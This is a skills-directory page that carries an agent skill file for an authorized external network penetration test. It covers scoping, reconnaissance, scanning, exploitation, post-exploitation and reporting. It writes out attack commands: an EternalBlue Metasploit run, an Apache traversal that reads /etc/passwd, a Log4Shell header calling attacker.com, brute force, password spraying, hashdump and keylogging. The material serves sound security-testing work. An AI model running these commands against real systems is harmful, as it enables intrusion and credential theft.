[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A9WPJAP7SRFR1ZDBW6D1PB":3,"skill-same:01M7A9WPJAP7SRFR1ZDBW6D1PB":105},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":50,"commitSha":51,"skillDirectory":52,"forksCount":14,"repositoryHtmlUrl":53,"repositoryHomepageUrl":6,"ownerHtmlUrl":54,"ownerBlogUrl":6,"ownerDescription":55,"updatedAt":56,"install":57,"resources":70},"01M7A9WPJAP7SRFR1ZDBW6D1PB","performing-external-network-penetration-test",null,"Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-external-network-penetration-test\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-external-network-penetration-test\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-external-network-penetration-test\ndescription: Conduct a comprehensive external network penetration test to identify\n  vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance,\n  scanning, exploitation, and reporting.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- external-pentest\n- network-security\n- PTES\n- OSSTMM\n- Nmap\n- Metasploit\n- vulnerability-assessment\n- reconnaissance\n- exploitation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1592\n---\n\n# Performing External Network Penetration Test\n\n## Overview\n\nAn external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing external network penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization (Rules of Engagement document signed by asset owner)\n- Defined scope: IP ranges, domains, subdomains, and exclusions\n- Testing environment: Kali Linux or Parrot OS with updated tools\n- VPN\u002Fdedicated testing infrastructure to avoid IP blocks\n- Coordination with SOC\u002FNOC for timing windows\n\n## Phase 1 — Pre-Engagement and Scoping\n\n### Define Rules of Engagement\n\n```\nScope:\n  - Target IP ranges: 203.0.113.0\u002F24, 198.51.100.0\u002F24\n  - Domains: *.target.com, *.target.io\n  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com\n  - Testing window: Mon-Fri 22:00-06:00 UTC\n  - Emergency contact: SOC Lead — +1-555-0100\n  - Authorization ID: PENTEST-2025-EXT-042\n```\n\n### Legal Documentation Checklist\n\n| Document | Status | Owner |\n|----------|--------|-------|\n| Master Service Agreement (MSA) | Signed | Legal |\n| Statement of Work (SOW) | Signed | PM |\n| Rules of Engagement (RoE) | Signed | CISO |\n| Get-Out-of-Jail Letter | Signed | CTO |\n| NDA | Signed | Legal |\n| Insurance Certificate | Verified | Risk |\n\n## Phase 2 — Reconnaissance (Information Gathering)\n\n### Passive Reconnaissance\n\n```bash\n# OSINT — Subdomain enumeration\nsubfinder -d target.com -o subdomains.txt\namass enum -passive -d target.com -o amass_subs.txt\ncat subdomains.txt amass_subs.txt | sort -u > all_subs.txt\n\n# DNS record enumeration\ndig target.com ANY +noall +answer\ndig target.com MX +short\ndig target.com NS +short\ndig target.com TXT +short\n\n# WHOIS and ASN lookup\nwhois target.com\nwhois -h whois.radb.net -- '-i origin AS12345'\n\n# Certificate Transparency log search\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%.target.com&output=json\" | jq '.[].name_value' | sort -u\n\n# Google dorking\n# site:target.com filetype:pdf\n# site:target.com inurl:admin\n# site:target.com intitle:\"index of\"\n\n# Shodan enumeration\nshodan search \"org:Target Corp\" --fields ip_str,port,product\nshodan host 203.0.113.10\n\n# Email harvesting\ntheHarvester -d target.com -b all -l 500 -f theharvester_results\n\n# GitHub\u002FGitLab secret scanning\ntrufflehog github --org=targetcorp --concurrency=5\ngitleaks detect --source=https:\u002F\u002Fgithub.com\u002Ftargetcorp\u002Frepo\n```\n\n### Active Reconnaissance\n\n```bash\n# Host discovery — ping sweep\nnmap -sn 203.0.113.0\u002F24 -oG ping_sweep.gnmap\n\n# TCP SYN scan — top 1000 ports\nnmap -sS -sV -O -T4 203.0.113.0\u002F24 -oA tcp_scan\n\n# Full TCP port scan\nnmap -sS -p- -T4 --min-rate 1000 203.0.113.0\u002F24 -oA full_tcp\n\n# UDP scan — top 100 ports\nnmap -sU --top-ports 100 -T4 203.0.113.0\u002F24 -oA udp_scan\n\n# Service version and script scan\nnmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0\u002F24 -oA service_scan\n\n# SSL\u002FTLS enumeration\nsslscan 203.0.113.10:443\ntestssl.sh --full https:\u002F\u002Ftarget.com\n\n# Web technology fingerprinting\nwhatweb -v https:\u002F\u002Ftarget.com\nwappalyzer https:\u002F\u002Ftarget.com\n```\n\n## Phase 3 — Vulnerability Analysis\n\n### Automated Scanning\n\n```bash\n# Nessus scan (via CLI)\nnessuscli scan --new --name \"External-Pentest-2025\" \\\n  --targets 203.0.113.0\u002F24 \\\n  --policy \"Advanced Network Scan\"\n\n# OpenVAS scan\ngvm-cli socket --xml '\u003Ccreate_task>\n  \u003Cname>External Pentest\u003C\u002Fname>\n  \u003Ctarget id=\"target-uuid\"\u002F>\n  \u003Cconfig id=\"daba56c8-73ec-11df-a475-002264764cea\"\u002F>\n\u003C\u002Fcreate_task>'\n\n# Nuclei vulnerability scanner\nnuclei -l all_subs.txt -t cves\u002F -t exposures\u002F -t misconfigurations\u002F \\\n  -severity critical,high -o nuclei_results.txt\n\n# Nikto web server scan\nnikto -h https:\u002F\u002Ftarget.com -output nikto_results.html -Format htm\n\n# Directory and file enumeration\ngobuster dir -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirbuster\u002Fdirectory-list-2.3-medium.txt \\\n  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt\nferoxbuster -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-large-words.txt \\\n  --depth 3 -o ferox_results.txt\n```\n\n### Manual Vulnerability Validation\n\n```bash\n# Check for known CVEs on identified services\nsearchsploit apache 2.4.49\nsearchsploit openssh 8.2\n\n# Test for default credentials\nhydra -L \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002Ftop-usernames-shortlist.txt \\\n  -P \u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002Ftop-20-common-SSH-passwords.txt \\\n  ssh:\u002F\u002F203.0.113.10 -t 4\n\n# Test VPN endpoints\nike-scan 203.0.113.20\n# Check for IKEv1 aggressive mode\n\n# SNMP enumeration\nsnmpwalk -v2c -c public 203.0.113.30\nonesixtyone -c \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FSNMP\u002Fsnmp-onesixtyone.txt 203.0.113.0\u002F24\n\n# SMTP enumeration\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002FNames\u002Fnames.txt -t 203.0.113.25\n```\n\n## Phase 4 — Exploitation\n\n### Network Service Exploitation\n\n```bash\n# Metasploit — EternalBlue (MS17-010) example\nmsfconsole -q\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nset RHOSTS 203.0.113.15\nset LHOST 10.10.14.5\nset LPORT 4444\nexploit\n\n# Apache RCE — CVE-2021-41773 \u002F CVE-2021-42013\ncurl -s --path-as-is \"https:\u002F\u002Ftarget.com\u002Fcgi-bin\u002F.%2e\u002F%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n\n# ProxyShell exploitation (Exchange)\npython3 proxyshell_exploit.py -u https:\u002F\u002Fmail.target.com -e admin@target.com\n\n# Log4Shell (CVE-2021-44228) testing\ncurl -H 'X-Api-Version: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fexploit}' https:\u002F\u002Ftarget.com\u002Fapi\n```\n\n### Web Application Exploitation\n\n```bash\n# SQL Injection with sqlmap\nsqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --batch --dbs --risk=3 --level=5\n\n# XSS payload testing\ndalfox url \"https:\u002F\u002Ftarget.com\u002Fsearch?q=test\" --skip-bav\n\n# Command injection testing\ncommix --url=\"https:\u002F\u002Ftarget.com\u002Fping?host=127.0.0.1\" --batch\n\n# File upload bypass\n# Upload PHP shell with double extension: shell.php.jpg\n# Test content-type bypass: application\u002Foctet-stream -> image\u002Fjpeg\n```\n\n### Password Attacks\n\n```bash\n# Brute force RDP\ncrowbar -b rdp -s 203.0.113.40\u002F32 -u admin -C \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -n 4\n\n# Spray attack against OWA\nsprayhound -U users.txt -p 'Spring2025!' -d target.com -url https:\u002F\u002Fmail.target.com\u002Fowa\n\n# Crack captured hashes\nhashcat -m 5600 captured_ntlmv2.hash \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n```\n\n## Phase 5 — Post-Exploitation\n\n```bash\n# Establish persistence (authorized testing only)\n# Meterpreter session\nmeterpreter> sysinfo\nmeterpreter> getuid\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# Privilege escalation check\n# Linux\n.\u002Flinpeas.sh | tee linpeas_output.txt\n# Windows\n.\\winPEAS.exe | tee winpeas_output.txt\n\n# Data exfiltration proof\n# Create proof file (DO NOT exfiltrate real sensitive data)\necho \"PENTEST-PROOF-$(date +%Y%m%d)\" > \u002Ftmp\u002Fpentest_proof.txt\n\n# Network pivoting through compromised host\n# Set up SOCKS proxy via SSH\nssh -D 9050 user@203.0.113.15\nproxychains nmap -sT -p 80,443,445 10.0.0.0\u002F24\n\n# Screenshot and evidence collection\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n## Phase 6 — Reporting\n\n### Finding Classification (CVSS v3.1)\n\n| Severity | CVSS Range | Count | Example |\n|----------|-----------|-------|---------|\n| Critical | 9.0-10.0 | 2 | RCE via unpatched Exchange (ProxyShell) |\n| High | 7.0-8.9 | 5 | SQL Injection in customer portal |\n| Medium | 4.0-6.9 | 8 | Missing security headers, TLS 1.0 |\n| Low | 0.1-3.9 | 12 | Information disclosure via server banners |\n| Info | 0.0 | 6 | Open ports documentation |\n\n### Report Structure\n\n```\n1. Executive Summary\n   - Scope and objectives\n   - Key findings summary\n   - Risk rating overview\n   - Strategic recommendations\n\n2. Technical Findings\n   For each finding:\n   - Title and CVSS score\n   - Affected asset(s)\n   - Description and impact\n   - Steps to reproduce (with screenshots)\n   - Evidence\u002Fproof of exploitation\n   - Remediation recommendation\n   - References (CVE, CWE)\n\n3. Methodology\n   - Tools used\n   - Testing timeline\n   - Frameworks followed (PTES, OWASP)\n\n4. Appendices\n   - Full scan results\n   - Network diagrams\n   - Raw tool output\n```\n\n## Remediation Priority Matrix\n\n| Priority | Timeline | Action |\n|----------|----------|--------|\n| P1 — Critical | 24-48 hours | Patch RCE vulnerabilities, disable exposed admin panels |\n| P2 — High | 1-2 weeks | Fix injection flaws, implement MFA |\n| P3 — Medium | 30 days | Harden TLS configs, add security headers |\n| P4 — Low | 60-90 days | Remove version banners, update documentation |\n\n## Tools Reference\n\n| Tool | Purpose | License |\n|------|---------|---------|\n| Nmap | Port scanning and service enumeration | GPLv2 |\n| Metasploit | Exploitation framework | BSD |\n| Burp Suite Pro | Web application testing | Commercial |\n| Nuclei | Vulnerability scanning | MIT |\n| Subfinder | Subdomain enumeration | MIT |\n| SQLMap | SQL injection testing | GPLv2 |\n| Nessus | Vulnerability scanner | Commercial |\n| Gobuster | Directory brute-forcing | Apache 2.0 |\n| Hashcat | Password cracking | MIT |\n| theHarvester | OSINT email\u002Fdomain harvesting | GPLv2 |\n\n## References\n\n- PTES (Penetration Testing Execution Standard): http:\u002F\u002Fwww.pentest-standard.org\u002F\n- OWASP Testing Guide v4.2: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002F\n- NIST SP 800-115: Technical Guide to Information Security Testing: https:\u002F\u002Fcsrc.nist.gov\u002Fpublications\u002Fdetail\u002Fsp\u002F800-115\u002Ffinal\n- OSSTMM v3: https:\u002F\u002Fwww.isecom.org\u002FOSSTMM.3.pdf\n- MITRE ATT&CK: https:\u002F\u002Fattack.mitre.org\u002F\n","# Performing External Network Penetration Test\n\n## Overview\n\nAn external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing external network penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization (Rules of Engagement document signed by asset owner)\n- Defined scope: IP ranges, domains, subdomains, and exclusions\n- Testing environment: Kali Linux or Parrot OS with updated tools\n- VPN\u002Fdedicated testing infrastructure to avoid IP blocks\n- Coordination with SOC\u002FNOC for timing windows\n\n## Phase 1 — Pre-Engagement and Scoping\n\n### Define Rules of Engagement\n\n```\nScope:\n  - Target IP ranges: 203.0.113.0\u002F24, 198.51.100.0\u002F24\n  - Domains: *.target.com, *.target.io\n  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com\n  - Testing window: Mon-Fri 22:00-06:00 UTC\n  - Emergency contact: SOC Lead — +1-555-0100\n  - Authorization ID: PENTEST-2025-EXT-042\n```\n\n### Legal Documentation Checklist\n\n| Document | Status | Owner |\n|----------|--------|-------|\n| Master Service Agreement (MSA) | Signed | Legal |\n| Statement of Work (SOW) | Signed | PM |\n| Rules of Engagement (RoE) | Signed | CISO |\n| Get-Out-of-Jail Letter | Signed | CTO |\n| NDA | Signed | Legal |\n| Insurance Certificate | Verified | Risk |\n\n## Phase 2 — Reconnaissance (Information Gathering)\n\n### Passive Reconnaissance\n\n```bash\n# OSINT — Subdomain enumeration\nsubfinder -d target.com -o subdomains.txt\namass enum -passive -d target.com -o amass_subs.txt\ncat subdomains.txt amass_subs.txt | sort -u > all_subs.txt\n\n# DNS record enumeration\ndig target.com ANY +noall +answer\ndig target.com MX +short\ndig target.com NS +short\ndig target.com TXT +short\n\n# WHOIS and ASN lookup\nwhois target.com\nwhois -h whois.radb.net -- '-i origin AS12345'\n\n# Certificate Transparency log search\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%.target.com&output=json\" | jq '.[].name_value' | sort -u\n\n# Google dorking\n# site:target.com filetype:pdf\n# site:target.com inurl:admin\n# site:target.com intitle:\"index of\"\n\n# Shodan enumeration\nshodan search \"org:Target Corp\" --fields ip_str,port,product\nshodan host 203.0.113.10\n\n# Email harvesting\ntheHarvester -d target.com -b all -l 500 -f theharvester_results\n\n# GitHub\u002FGitLab secret scanning\ntrufflehog github --org=targetcorp --concurrency=5\ngitleaks detect --source=https:\u002F\u002Fgithub.com\u002Ftargetcorp\u002Frepo\n```\n\n### Active Reconnaissance\n\n```bash\n# Host discovery — ping sweep\nnmap -sn 203.0.113.0\u002F24 -oG ping_sweep.gnmap\n\n# TCP SYN scan — top 1000 ports\nnmap -sS -sV -O -T4 203.0.113.0\u002F24 -oA tcp_scan\n\n# Full TCP port scan\nnmap -sS -p- -T4 --min-rate 1000 203.0.113.0\u002F24 -oA full_tcp\n\n# UDP scan — top 100 ports\nnmap -sU --top-ports 100 -T4 203.0.113.0\u002F24 -oA udp_scan\n\n# Service version and script scan\nnmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0\u002F24 -oA service_scan\n\n# SSL\u002FTLS enumeration\nsslscan 203.0.113.10:443\ntestssl.sh --full https:\u002F\u002Ftarget.com\n\n# Web technology fingerprinting\nwhatweb -v https:\u002F\u002Ftarget.com\nwappalyzer https:\u002F\u002Ftarget.com\n```\n\n## Phase 3 — Vulnerability Analysis\n\n### Automated Scanning\n\n```bash\n# Nessus scan (via CLI)\nnessuscli scan --new --name \"External-Pentest-2025\" \\\n  --targets 203.0.113.0\u002F24 \\\n  --policy \"Advanced Network Scan\"\n\n# OpenVAS scan\ngvm-cli socket --xml '\u003Ccreate_task>\n  \u003Cname>External Pentest\u003C\u002Fname>\n  \u003Ctarget id=\"target-uuid\"\u002F>\n  \u003Cconfig id=\"daba56c8-73ec-11df-a475-002264764cea\"\u002F>\n\u003C\u002Fcreate_task>'\n\n# Nuclei vulnerability scanner\nnuclei -l all_subs.txt -t cves\u002F -t exposures\u002F -t misconfigurations\u002F \\\n  -severity critical,high -o nuclei_results.txt\n\n# Nikto web server scan\nnikto -h https:\u002F\u002Ftarget.com -output nikto_results.html -Format htm\n\n# Directory and file enumeration\ngobuster dir -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirbuster\u002Fdirectory-list-2.3-medium.txt \\\n  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt\nferoxbuster -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-large-words.txt \\\n  --depth 3 -o ferox_results.txt\n```\n\n### Manual Vulnerability Validation\n\n```bash\n# Check for known CVEs on identified services\nsearchsploit apache 2.4.49\nsearchsploit openssh 8.2\n\n# Test for default credentials\nhydra -L \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002Ftop-usernames-shortlist.txt \\\n  -P \u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002Ftop-20-common-SSH-passwords.txt \\\n  ssh:\u002F\u002F203.0.113.10 -t 4\n\n# Test VPN endpoints\nike-scan 203.0.113.20\n# Check for IKEv1 aggressive mode\n\n# SNMP enumeration\nsnmpwalk -v2c -c public 203.0.113.30\nonesixtyone -c \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FSNMP\u002Fsnmp-onesixtyone.txt 203.0.113.0\u002F24\n\n# SMTP enumeration\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002FNames\u002Fnames.txt -t 203.0.113.25\n```\n\n## Phase 4 — Exploitation\n\n### Network Service Exploitation\n\n```bash\n# Metasploit — EternalBlue (MS17-010) example\nmsfconsole -q\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nset RHOSTS 203.0.113.15\nset LHOST 10.10.14.5\nset LPORT 4444\nexploit\n\n# Apache RCE — CVE-2021-41773 \u002F CVE-2021-42013\ncurl -s --path-as-is \"https:\u002F\u002Ftarget.com\u002Fcgi-bin\u002F.%2e\u002F%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n\n# ProxyShell exploitation (Exchange)\npython3 proxyshell_exploit.py -u https:\u002F\u002Fmail.target.com -e admin@target.com\n\n# Log4Shell (CVE-2021-44228) testing\ncurl -H 'X-Api-Version: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fexploit}' https:\u002F\u002Ftarget.com\u002Fapi\n```\n\n### Web Application Exploitation\n\n```bash\n# SQL Injection with sqlmap\nsqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --batch --dbs --risk=3 --level=5\n\n# XSS payload testing\ndalfox url \"https:\u002F\u002Ftarget.com\u002Fsearch?q=test\" --skip-bav\n\n# Command injection testing\ncommix --url=\"https:\u002F\u002Ftarget.com\u002Fping?host=127.0.0.1\" --batch\n\n# File upload bypass\n# Upload PHP shell with double extension: shell.php.jpg\n# Test content-type bypass: application\u002Foctet-stream -> image\u002Fjpeg\n```\n\n### Password Attacks\n\n```bash\n# Brute force RDP\ncrowbar -b rdp -s 203.0.113.40\u002F32 -u admin -C \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -n 4\n\n# Spray attack against OWA\nsprayhound -U users.txt -p 'Spring2025!' -d target.com -url https:\u002F\u002Fmail.target.com\u002Fowa\n\n# Crack captured hashes\nhashcat -m 5600 captured_ntlmv2.hash \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n```\n\n## Phase 5 — Post-Exploitation\n\n```bash\n# Establish persistence (authorized testing only)\n# Meterpreter session\nmeterpreter> sysinfo\nmeterpreter> getuid\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# Privilege escalation check\n# Linux\n.\u002Flinpeas.sh | tee linpeas_output.txt\n# Windows\n.\\winPEAS.exe | tee winpeas_output.txt\n\n# Data exfiltration proof\n# Create proof file (DO NOT exfiltrate real sensitive data)\necho \"PENTEST-PROOF-$(date +%Y%m%d)\" > \u002Ftmp\u002Fpentest_proof.txt\n\n# Network pivoting through compromised host\n# Set up SOCKS proxy via SSH\nssh -D 9050 user@203.0.113.15\nproxychains nmap -sT -p 80,443,445 10.0.0.0\u002F24\n\n# Screenshot and evidence collection\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n## Phase 6 — Reporting\n\n### Finding Classification (CVSS v3.1)\n\n| Severity | CVSS Range | Count | Example |\n|----------|-----------|-------|---------|\n| Critical | 9.0-10.0 | 2 | RCE via unpatched Exchange (ProxyShell) |\n| High | 7.0-8.9 | 5 | SQL Injection in customer portal |\n| Medium | 4.0-6.9 | 8 | Missing security headers, TLS 1.0 |\n| Low | 0.1-3.9 | 12 | Information disclosure via server banners |\n| Info | 0.0 | 6 | Open ports documentation |\n\n### Report Structure\n\n```\n1. Executive Summary\n   - Scope and objectives\n   - Key findings summary\n   - Risk rating overview\n   - Strategic recommendations\n\n2. Technical Findings\n   For each finding:\n   - Title and CVSS score\n   - Affected asset(s)\n   - Description and impact\n   - Steps to reproduce (with screenshots)\n   - Evidence\u002Fproof of exploitation\n   - Remediation recommendation\n   - References (CVE, CWE)\n\n3. Methodology\n   - Tools used\n   - Testing timeline\n   - Frameworks followed (PTES, OWASP)\n\n4. Appendices\n   - Full scan results\n   - Network diagrams\n   - Raw tool output\n```\n\n## Remediation Priority Matrix\n\n| Priority | Timeline | Action |\n|----------|----------|--------|\n| P1 — Critical | 24-48 hours | Patch RCE vulnerabilities, disable exposed admin panels |\n| P2 — High | 1-2 weeks | Fix injection flaws, implement MFA |\n| P3 — Medium | 30 days | Harden TLS configs, add security headers |\n| P4 — Low | 60-90 days | Remove version banners, update documentation |\n\n## Tools Reference\n\n| Tool | Purpose | License |\n|------|---------|---------|\n| Nmap | Port scanning and service enumeration | GPLv2 |\n| Metasploit | Exploitation framework | BSD |\n| Burp Suite Pro | Web application testing | Commercial |\n| Nuclei | Vulnerability scanning | MIT |\n| Subfinder | Subdomain enumeration | MIT |\n| SQLMap | SQL injection testing | GPLv2 |\n| Nessus | Vulnerability scanner | Commercial |\n| Gobuster | Directory brute-forcing | Apache 2.0 |\n| Hashcat | Password cracking | MIT |\n| theHarvester | OSINT email\u002Fdomain harvesting | GPLv2 |\n\n## References\n\n- PTES (Penetration Testing Execution Standard): http:\u002F\u002Fwww.pentest-standard.org\u002F\n- OWASP Testing Guide v4.2: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002F\n- NIST SP 800-115: Technical Guide to Information Security Testing: https:\u002F\u002Fcsrc.nist.gov\u002Fpublications\u002Fdetail\u002Fsp\u002F800-115\u002Ffinal\n- OSSTMM v3: https:\u002F\u002Fwww.isecom.org\u002FOSSTMM.3.pdf\n- MITRE ATT&CK: https:\u002F\u002Fattack.mitre.org\u002F\n",{"name":5,"tags":25,"author":35,"domain":36,"license":15,"version":37,"nist_csf":38,"subdomain":43,"description":7,"mitre_attack":44},[26,27,28,29,30,31,32,33,34],"external-pentest","network-security","PTES","OSSTMM","Nmap","Metasploit","vulnerability-assessment","reconnaissance","exploitation","mahipal","cybersecurity","1.0",[39,40,41,42],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing",[45,46,47,48,49],"T1595","T1190","T1059","T1078","T1592","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fperforming-external-network-penetration-test","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":58,"prompt":68,"zipAvailable":69},[59,62,65],{"tool":60,"command":61},"npx","npx skills add NeelakshSaxena\u002FVayu --skill performing-external-network-penetration-test",{"tool":63,"command":64},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill performing-external-network-penetration-test",{"tool":66,"command":67},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill performing-external-network-penetration-test","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-external-network-penetration-test\u002FSKILL.md",true,[71,77,81,87,91,95,101],{"path":72,"resourceType":73,"resourceTypeDesc":74,"sizeBytes":75,"sourceHtmlUrl":76},"assets\u002Ftemplate.md","ASSET","资产文件",3481,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-external-network-penetration-test\u002Fassets\u002Ftemplate.md",{"path":78,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"references\u002Fapi-reference.md","REFERENCE","参考文档",1680,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-external-network-penetration-test\u002Freferences\u002Fapi-reference.md",{"path":88,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":89,"sourceHtmlUrl":90},"references\u002Fstandards.md",2064,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-external-network-penetration-test\u002Freferences\u002Fstandards.md",{"path":92,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":93,"sourceHtmlUrl":94},"references\u002Fworkflows.md",4261,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-external-network-penetration-test\u002Freferences\u002Fworkflows.md",{"path":96,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":99,"sourceHtmlUrl":100},"scripts\u002Fagent.py","SCRIPT","脚本",5752,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-external-network-penetration-test\u002Fscripts\u002Fagent.py",{"path":102,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":103,"sourceHtmlUrl":104},"scripts\u002Fprocess.py",14076,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-external-network-penetration-test\u002Fscripts\u002Fprocess.py",[106,113,120,127,134,141],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer 